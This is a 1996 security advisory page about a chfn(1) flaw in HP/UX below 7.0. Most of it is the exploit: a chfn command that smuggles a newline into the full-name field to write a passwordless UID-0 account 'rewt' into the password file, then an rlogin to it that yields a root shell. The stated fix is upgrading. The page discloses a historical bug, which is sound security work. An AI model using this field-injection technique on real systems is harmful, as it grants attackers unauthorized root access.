[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

chfn(1)
Systems Affected:HP/UX below 7.0
Problem: chfn(1) accepts newlines. This can be used to create arbitraty accounts on the system. 

% chfn -f looser^Mrewt::0:0::/:/bin/sh
% rlogin localhost -l rewt
Warning: .lastlogin not found
#
Solution:Upgrade.

Aleph One / aleph1@underground.org
Copyright © 1996 Computer Underground Society. All rights reserved.